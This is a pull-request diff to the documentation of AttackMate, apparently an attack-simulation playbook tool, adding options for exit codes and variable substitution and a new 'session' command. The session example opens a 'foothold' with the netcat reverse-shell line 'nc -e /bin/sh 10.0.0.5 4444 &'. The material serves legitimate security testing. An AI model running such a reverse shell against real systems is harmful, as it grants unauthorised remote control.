Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 1 addition & 1 deletion .pre-commit-config.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -18,7 +18,7 @@ repos:
rev: v1.10.1
hooks:
- id: mypy
additional_dependencies: [pydantic, types-PyYAML, types-requests, types-paramiko, types-tabulate]
additional_dependencies: [pydantic, types-PyYAML, types-requests, types-paramiko, types-tabulate, pyte]

- repo: https://github.com/myint/autoflake
rev: 'v2.3.1'
Expand Down
41 changes: 41 additions & 0 deletions docs/source/playbook/commands/index.rst
Original file line number Diff line number Diff line change
Expand Up @@ -53,6 +53,46 @@ Every command, regardless of its type supports the following general options:
:type: bool
:default: ``True``

.. confval:: use_exit_code

Let the command's real exit status decide whether the step failed.

:type: bool
:default: ``False``

``shell`` and ``ssh`` steps report success regardless of what the command
actually did, so :confval:`exit_on_error` never fires for them. The true
status is always written to ``attackmate.json`` as ``exit-status``; setting
this makes it the step's return code as well, so ``exit_on_error`` and
``loop_if`` act on it.

It is off by default because turning it on changes whether existing
playbooks fail. Note that inside a live session no true status exists - the
shell is still running - so it is recorded as ``null`` unless the command
also sets ``wait_for_exit``.

.. confval:: substitute_cmd_vars

Substitute ``$variables`` in :confval:`cmd` before running it.

:type: bool
:default: ``True``

Set it to ``False`` to run the command exactly as written. Substitution uses
``string.Template``, which also collapses ``$$`` into a single ``$`` - and in
a shell ``$$`` is the process id, so ``kill -9 $$``, ``/tmp/f.$$`` and
``echo $$ > pidfile`` are all rewritten, with ``attackmate.json`` recording
the rewritten form.

.. code-block:: yaml

commands:
- type: shell
cmd: kill -9 $$
substitute_cmd_vars: False

Only ``cmd`` is affected; other fields are still templated.

.. confval:: error_if

Raise an error if the given pattern is found in the command output.
Expand Down Expand Up @@ -267,6 +307,7 @@ The next pages will describe each command type in detail.
msf-session
payload
regex
session
remote
setvar
shell
Expand Down
83 changes: 83 additions & 0 deletions docs/source/playbook/commands/session.rst
Original file line number Diff line number Diff line change
@@ -0,0 +1,83 @@
.. _session_command:

=======
session
=======

Close or inspect an open session from within a playbook.

Sessions otherwise live until the end of the run, and a playbook has no way to
ask whether one is still alive - so it can only discover that its foothold has
dropped by sending a command into it and failing.

.. code-block:: yaml

commands:
# Open a session:
- type: shell
cmd: "nc -e /bin/sh 10.0.0.5 4444 &\n"
interactive: True
creates_session: foothold

# Check it before relying on it:
- type: session
cmd: status
session: foothold

# Finish with it early rather than at the end of the run:
- type: session
cmd: close
session: foothold

.. confval:: cmd

What to do with the session.

``close`` terminates it and everything it started; ``status`` reports whether
it is still alive without changing anything.

:type: str
:default: ``close``
:required: False

.. confval:: session

Name of the session, as given to ``creates_session``.

:type: str
:required: True

.. confval:: executor

Which kind of session to act on.

:type: str
:default: ``shell``
:required: False

``shell`` covers both pipe-based and pseudo-terminal sessions. ``ssh`` covers
ssh sessions, and also forgets the session's terminal screen, so that a later
session reusing the name does not inherit it.

Sessions belonging to ``msf``, ``sliver`` and ``browser`` are not supported
here and are still closed only at the end of the run.

Return codes
------------

Both forms return ``0`` on success and ``1`` when the session does not exist, or
when ``status`` finds a session that has exited. Combine with
``exit_on_error: False`` to check a session without ending the run:

.. code-block:: yaml

commands:
- type: session
cmd: status
session: foothold
exit_on_error: False

# $RESULT_RETURNCODE is "0" when the session is alive.
- type: shell
cmd: echo "the foothold is gone, reconnecting"
only_if: "'$RESULT_RETURNCODE' == '1'"
Loading
Loading